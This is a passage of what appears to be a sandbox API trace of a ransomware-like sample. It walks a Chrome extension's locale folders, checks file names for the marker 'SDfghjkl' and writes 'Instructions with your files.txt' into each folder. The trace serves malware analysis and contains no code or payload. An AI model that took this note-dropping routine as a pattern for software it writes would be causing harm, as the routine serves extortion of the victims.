[0129.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.077] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.078] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.078] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.079] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.079] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.079] CloseHandle (hObject=0x134) returned 1
[0129.079] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.079] GetProcessHeap () returned 0x810000
[0129.079] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.079] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
[0129.079] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl") returned 141
[0129.079] GetProcessHeap () returned 0x810000
[0129.079] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.079] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*") returned 143
[0129.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.080] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\.") returned 143
[0129.080] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.080] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\..") returned 144
[0129.080] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f8580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.080] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 155
[0129.080] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.080] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f8580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.080] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\Instructions with your files.txt") returned 174
[0129.080] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.081] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.081] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.082] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.082] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.082] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.082] CloseHandle (hObject=0x134) returned 1
[0129.082] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.082] GetProcessHeap () returned 0x810000
[0129.082] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.082] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
[0129.082] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no") returned 141
[0129.082] GetProcessHeap () returned 0x810000
[0129.082] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.082] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*") returned 143
[0129.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.083] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\.") returned 143
[0129.083] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.083] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\..") returned 144
[0129.083] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661cf70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.083] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 155
[0129.083] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.083] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661cf70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.083] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\Instructions with your files.txt") returned 174
[0129.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.083] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.084] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.084] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.084] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.085] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.085] CloseHandle (hObject=0x134) returned 1
[0129.085] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.085] GetProcessHeap () returned 0x810000
[0129.085] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.085] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
[0129.085] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl") returned 141
[0129.085] GetProcessHeap () returned 0x810000
[0129.085] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.085] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*") returned 143
[0129.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.086] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\.") returned 143
[0129.086] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.086] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\..") returned 144
[0129.086] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661cf70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.086] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 155
[0129.086] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.086] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661cf70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.086] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\Instructions with your files.txt") returned 174
[0129.086] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.086] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.087] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.088] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.088] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.088] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.088] CloseHandle (hObject=0x134) returned 1
[0129.088] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.088] GetProcessHeap () returned 0x810000
[0129.088] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.088] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
[0129.088] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR") returned 144
[0129.088] GetProcessHeap () returned 0x810000
[0129.088] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.088] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*") returned 146
[0129.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.089] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\.") returned 146
